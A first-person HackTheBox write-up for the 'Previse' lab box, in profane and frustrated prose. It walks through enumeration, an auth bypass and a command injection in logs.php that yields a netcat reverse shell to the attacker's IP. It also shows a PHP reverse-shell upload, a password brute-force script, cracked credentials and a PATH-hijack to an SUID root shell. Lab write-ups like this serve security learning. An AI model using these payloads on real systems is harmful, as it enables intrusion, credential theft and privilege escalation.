HackTheBox: Previse

01/13/2024

This is the first 4.1/10 box Im doing. THe one right before this was [[Valentine]].

This box is from 2021, so it isnt TOO old.

Enumeration

2 Ports open: 1) SSH on 22 2) HTTP on 80

It appears to be an Ubuntu system, and the website takes us to a login page. Other than that the nmap script scan isnt hugely useful.

Nmap vulnerability script scan

Running the nmap vuln script did not turn anything up $ nmap --script vuln 10.10.11.104

Nikto scan

Nikto scan found /config.php, but nothing else nikto -h http://previse.htb

Gobuster directory brute force

$ gobuster dir --url=http://previse.htb --wordlist=$DIRS Uncovered /server-status, but thats it. If I have no luck with this login page Ill come back to this and add the -x php flag to check for php files.

Gobuster VHOST brute force

$ gobuster vhost --wordlist=/usr/share/SecLists/Discovery/DNS/dns-Jhaddix.txt --url=http://previse.htb -k --append-domain --exclude-length=422 The --exclude-length=422 is necessary because that is the length of the not found response.

This found nothing either.

Enumerating the website

Navigating to http://previse brings us to a simple login page. Down at the bottom is a credit CREATED BY M4LWHERE, which is a link to a hacking blog. Maybe the source code for the page is public, then? No luck. It turns out the blog is run by the guy who created this box, and it doesnt look like the code is public.

Running SQLmap on the login

I save a login request with burp suite to login.req, and set sqlmap on it using $ sqlmap -r login.req --risk=3 --level=5 --batch.

Wow... even SQLmap didnt find anything.

Manually testing for NoSQL injection

If I remember correctly, SQLmap will NOT check for NoSQL injection. Let me pull up a cheat sheet and check for that by hand.

No luck.

Returning to gobuster to search for PHP files

NOW we're talking. When I run $ gobuster dir --url=http://previse.htb --wordlist=$DIRS -x php I suddenly get a deluge of hits:


/.php                 (Status: 403) [Size: 276]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/header.php           (Status: 200) [Size: 980]
/nav.php              (Status: 200) [Size: 1248]
/footer.php           (Status: 200) [Size: 217]
/css                  (Status: 301) [Size: 308] [--> http://previse.htb/css/]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/.php                 (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
Progress: 441120 / 441122 (100.00%)

It turns out that /nav.php is our ticket. This brings us to a simple html page with the following content:


- [Home](http://previse.htb/index.php)
- [ACCOUNTS](http://previse.htb/accounts.php)
    
    - [CREATE ACCOUNT](http://previse.htb/accounts.php)
    
- [FILES](http://previse.htb/files.php)
- [MANAGEMENT MENU](http://previse.htb/status.php)
    
    - [WEBSITE STATUS](http://previse.htb/status.php)
    - [LOG DATA](http://previse.htb/file_logs.php)
    
- [](http://previse.htb/nav.php#)
- [](http://previse.htb/logout.php)
[](http://previse.htb/logout.php)

However, even this does not help us much. Every link simply takes us back to the login.

Intercepting the traffic to /accounts and accessing the page

If I enable interception and do 'Do intercept -> response to this request' when trying to navigate to /accounts, we get a 302 response (indicating that the requested page has moved and tells you where to search for it) trying to redirect us back to /login, BUT the /accounts page is actually shown on the 302 response.

I click on the render tab in the BurpSuite proxy window to show this account page as if in a browser. There are input fields to register a username and password.

I will try to do that now, with the creds pwned:pwned. First I have to figure out what its calling the parameters for username and password so that I can forge a POST request to the accounts page myself.

Forging a POST request to register an account

Here's the relevant snippet of HTML from the intercepted accounts page to register an account:

html
<form role="form" method="post" action="accounts.php">
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: user"></span>
			<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
		</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
		</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
		</div>
	</div>
	<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>

from this we see that the parameters are username, password, and confirm. All of that data is being POSTed to /accounts.php.

What Ill do is intercept a login attempt to use as a template, and just modify it slightly to craft an account registration request.

Here's the intercepted login request:

http
POST /login.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/login.php
Cookie: PHPSESSID=gdmtn5ennj1c798ao605dt0iaj
Upgrade-Insecure-Requests: 1

username=dontcare&password=dontcare

And here's the modified version:

http
POST /accounts.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/login.php
Cookie: PHPSESSID=gdmtn5ennj1c798ao605dt0iaj
Upgrade-Insecure-Requests: 1

username=pwned&password=pwned&confirm=pwned

Stupidly I forgot to intercept the response to this registration request and wound up back at the login page. However, going back and resubmitting it and capturing the response this time, we see:

html
<p>Username is already taken!</p>

That's damn good news, because it means our registration probably worked. Let's try to sign in now, with the creds pwned:pwned.

I do not get an error message about invalid credentials now, but nothing happens either. It just reloads the login page. Strange. Let me see if I can use the intercept trick to view other locked pages, like /status

Checking if I can intercept other hidden pages

Let me try the same trick with /status. Ill click on that link in the /nav menu, and select intercept response to this request in Burp, and see if it loads anything. And it does:

html
<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Status</h2>
        <div class="uk-container" uk-grid>
            <div><p>Check website status:</p></div>
        </div>
        <div class="uk-container">
            <p class='uk-text-success'>MySQL server is online and connected!</p><p>There are <b>2</b> registered admins</p><p>There is <b>1</b> uploaded file</p>        </div>
    </div>
</section>

Okay, interesting. Let me see if I can catch the /files page next. I CAN, and if its anything like the account registration, I may be able to upload a file as well using a POST request:

html
<SNIP>
<p>Upload files below, uploaded files in table below</p>
<form name="upload" enctype="multipart/form-data" action="" method="post">
	<div uk-form-custom="target: true">
		<input name="userData" type="file">
		<input class="uk-input uk-form-width-medium" type="text" placeholder="Select file" disabled>
	</div>
	<button class="uk-button uk-button-default" type="submit" value="Submit">Submit</button>
</form>
</SNIP>


<SNIP>
<h2 class="uk-heading-divider">Uploaded Files</h2>
<a href='download.php?file=32'><button class="uk-button uk-button-text">siteBackup.zip</button></a>
</td>
<td>9948</td>
<td>newguy</td>
<td>2021-06-12 11:14:34</td>
</SNIP>

So we see a few things. For one, we can upload files via POST. Two, there is a user named newguy. Third and most important, there is an uploaded file called siteBackup.zip and a link to download it.

Im going to try downloading the file, but let me first check the /file_logs page for the sake of leaving no stone unturned before continuing:

html
<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Request Log Data</h2>
        <p>We take security very seriously, and keep logs of file access actions. We can set delimters for your needs!</p>
        <p>Find out which users have been downloading files.</p>
        <form action="logs.php" method="post">
            <div class="uk-margin uk-width-1-4@s">
                <label class="uk-form-label" for="delim-log">File delimeter:</label>
                <select class="uk-select" name="delim" id="delim-log">
                    <option value="comma">comma</option>
                    <option value="space">space</option>
                    <option value="tab">tab</option>
                </select>
            </div>
            <button class="uk-button uk-button-default" type="submit" value="submit">Submit</button>
        </form>
    </div>
</section>

Apparently we can use /logs.php to query which users have downloaded files. Just for the hell of it Ill try querying which users have downloaded the siteBackup.zip file. Again, ill use the login POST request as a template to modify.

The modified request to query /logs.php for the file is this:

http
POST /logs.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/login.php
Cookie: PHPSESSID=gdmtn5ennj1c798ao605dt0iaj
Upgrade-Insecure-Requests: 1

delim=comma

However, I had no luck with this. Oh well, on to trying to download the site backup...

Attempting to download web backup

As we saw earlier on the /files page, there is one uploaded file named siteBackup.zip. This sounds juicy, and I want it.

http
GET /download.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://previse.htb/nav.php
Connection: close
Cookie: PHPSESSID=gdmtn5ennj1c798ao605dt0iaj
Upgrade-Insecure-Requests: 1

file=32

Hmm... still nothing. I just get an empty 302 'page found' response with no data.

What else can I do?

It's a hail mary, but the registration mentioned that username and password had to be between 5 and 32 chars. Maybe I can trigger an SQL error by sending a longer request? Or maybe I should look for other SQL vulnerabilities in general. Let me send a new registration request with 40-digit user and pass:

http
POST /accounts.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/login.php
Cookie: PHPSESSID=gdmtn5ennj1c798ao605dt0iaj
Upgrade-Insecure-Requests: 1

username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&confirm=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

No luck, just made me redo it.

Failing that, maybe I can check for IDORs somewhere, since that's how the downloads page seems to specify files.

==ACTUALLY, if I cant download the file, let me try to UPLOAD a file and see if I can exploit THAT.==

Attempting to upload a reverse shell

If we can figure out WHERE uploaded files are being stored, we can potentially upload a PHP reverse shell and get it to execute by visiting it.

What I did to get a known-good file upload POST form is use an online metadata viewing tool to intercept the upload, as shown here:


POST /upload.php HTTP/2
Host: exif.tools
Cookie: _ga_BT158YZBNN=GS1.1.1697397304.1.1.1697397321.43.0.0; _ga=GA1.2.2058808344.1697397304; _gid=GA1.2.902256350.1697397304; _gat_gtag_UA_108527661_3=1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------21457535744458090122062044551
Content-Length: 473
Origin: https://exif.tools
Referer: https://exif.tools/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------21457535744458090122062044551
Content-Disposition: form-data; name="upfile"; filename="revshell.php"
Content-Type: application/x-php

<?php
$sock=fsockopen("10.10.14.24",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

-----------------------------21457535744458090122062044551
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------21457535744458090122062044551--

Ill take this and tweak it to submit to the web page.

Here's the first attempt:

http
POST /files.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------21457535744458090122062044551
Content-Length: 473
Cookie: PHPSESSID=gdmtn5ennj1c798ao605dt0iaj
Upgrade-Insecure-Requests: 1

-----------------------------21457535744458090122062044551
Content-Disposition: form-data; name="userData"; filename="revshell.php"
Content-Type: application/x-php

<?php
$sock=fsockopen("10.10.14.24",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

-----------------------------21457535744458090122062044551
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------21457535744458090122062044551--

This did not appear to work, as the file is not shown under "files".

Lets see if I can brute force "newguy"s password

It's possible that I cant download because Im not an admin and dont have an admin hash. I do know the username newguy, though, so let me try to brute force his password with a simple script.

It aint pretty but it works:

bash
#!/bin/bash

while IFS="" read -r p || [ -n "$p" ]
do
OUT=$(curl -v http://previse.htb/login.php --data "username=newguy&password=$p")
if echo $OUT | grep -iq invalid 
then 
        :
else 
        echo "$p" >> password.txt
fi
done < $1

You pass as an argument to the script a password word list.

While Im waiting for this to run with the first 10,000 entries in the rockyou wordlist, I checked the site status again and noticed that there are now 3 registered admins (there were 2 last time I checked, and then I registered another user just to see what happens). So that ostensibly means that my user is an admin.

Okay. So the scan ran and found nothing, and at this point I dont really expect it to.

AHA! Got interactive page access

Wow... that was simpler than I though. It turns out I can get interactive access to the locked pages by simply intercepting the response, changing the status from "302 Found" to "200 OK", then deleting the "Location:" header. Now lets see if I can upload the file this way. When I try to submit I get the following intercepted request:

http
POST /files.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------9309837533846130539459159684
Content-Length: 351
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/files.php
Cookie: PHPSESSID=gdmtn5ennj1c798ao605dt0iaj
Upgrade-Insecure-Requests: 1

-----------------------------9309837533846130539459159684
Content-Disposition: form-data; name="userData"; filename="revshell.php"
Content-Type: application/x-php

<?php
$sock=fsockopen("10.10.14.24",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

-----------------------------9309837533846130539459159684--

No fucking good.

Consulting the writeup

Im banging my head against the wall at this point, so I consulted the writeup.

On the writeup, he WAS able to log in after creating an account. So what gives?

Okay, I reset the machine and now it seems to be letting me log in. What the fuck was that bullshit earlier?

Apparently when you register an account you also need to add &submit=. Fuck knows why.

But anyway, I can now open the tabs without being redirected to login.

I got the siteBackup.zip file.

What a massive fucking waste of time. I just spent 3 hours or more thanks to a fucking bug.

While digging through the forums I already saw that there's an exec() RCE exploit somewhere. FUcking stupid cunt, why didnt it work the first time? THat just ate my whole day.

Examining the backup

Since I already know what Im looking for, I just run grep -Ri exec in the unzipped directory full of php files. This has one hit:


$ grep -Ri exec                                                     
logs.php:$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

Okay, I see. I can inject into the delim parameter like so:


delim=comma%3brm+-f+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.24+4444+>/tmp/f+%26

which, URL decoded, is


delim=comma;rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.24 4444 >/tmp/f &

==Note the '&' appended to the above line. This opens the shell as a background sessions so that the web page doesnt hang.==

And on my listener,


$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.104] 56504
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Its about fucking time, jesus christ. Fucking stupid piece of shit bug killed me.

Let's see if I can dump the SQL database referred to earlier.

This box is already kind of ruined for me since I read the fucking forum comments, but whatever. Ill just power through it.

I steal the creds from config.php:


<?php
function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}
?>

Then snatch the hashes:


mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select username, HEX(password) from accounts;
+----------+----------------------------------------------------------------------+
| username | HEX(password)                                                        |
+----------+----------------------------------------------------------------------+
| m4lwhere | 243124F09FA7826C6C6F6C244451706D64766E62374565754F36556171524974662E |
| pwned    | 243124F09FA7826C6C6F6C2446657A343775526F44353445476A556866765367312F |
+----------+----------------------------------------------------------------------+


The hash had some non-ascii chars, so I printed it in hex, then converted it back to raw using xxd before setting john on it.

I had to try the md5crypt-long format to get a hit:


]$ john hash --wordlist=/usr/share/SecLists/Passwords/rockyou.txt --format=md5crypt-long

ilovecody112235!

Now we have creds: m4lwhere:ilovecody112235!

Lets SSH in:


m4lwhere@previse:~$   

There we go.

Priv Esc

First grab the user flag.

sudo -l shows that he can run a script as root:


User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

I cant write the script, but luckily I can read it:

bash
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

I honestly have no idea how to exploit that.

Maybe its a daisy-chain kind of thing. Maybe it does something interesting with the logged data?

NO... I realized what the exploit is

Exploiting sudo gzip using sym links

It took me a while to figure out what I could do to exploit the backup script running as root. It was not at all clear to me how I could leverage gzip to escalate privileges, and the script took no arguments and did not use any variables (except the output of the date command, which I cant modify anyway). Additionally, all the paths specified are absolute, so path hijacking is not an option either.

The only thing I CAN do is write one of the files that gets backed up, as the www-data user. On the way to work I realized that I can probably overwrite the file owned by www-data that gets backed up with a sym link to /etc/shadow, and thus use this as an LFI vulnerability...

Here's the relevant line from the script you can run with sudo:

bash
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

And here is the file that gets backed up:


m4lwhere@previse:~$ ls -l /var/www/file_access.log
-rw-r--r-- 1 www-data www-data 515 Jun 18  2021 /var/www/file_access.log

Because I can get a reverse shell as www-data, I can get full control over this file.

So lets grab a shell as www-data and replace /var/www/file_access.log with a sym link to /etc/shadow:



Fuck you, nevermind. I get permission denied error trying to replace the file with a sym link.

Consulting the writeup.

Im a stupid fuck. I even said that all the paths in the script were absolute without even looking to see that they ARENT: gzip itself does NOT specify the full path, so I can hijack it that way.

What Ill do is make a script in my home dir called gzip and make it copy /bin/bash to my home dir and add SUID privs:

bash
#!/bin/bash

cp /bin/bash /home/m4lwhere/bash; chmod +s /home/m4lwhere/bash


Then make my home dir the first entry in my PATH variable:


m4lwhere@previse:~$ PATH=/home/m4lwhere:$PATH

Now let me run that script as sudo:


m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh 
[sudo] password for m4lwhere: 

m4lwhere@previse:~$ ls
bash  gzip  link  user.txt

m4lwhere@previse:~$ ./bash -p

bash-4.4# whoami
root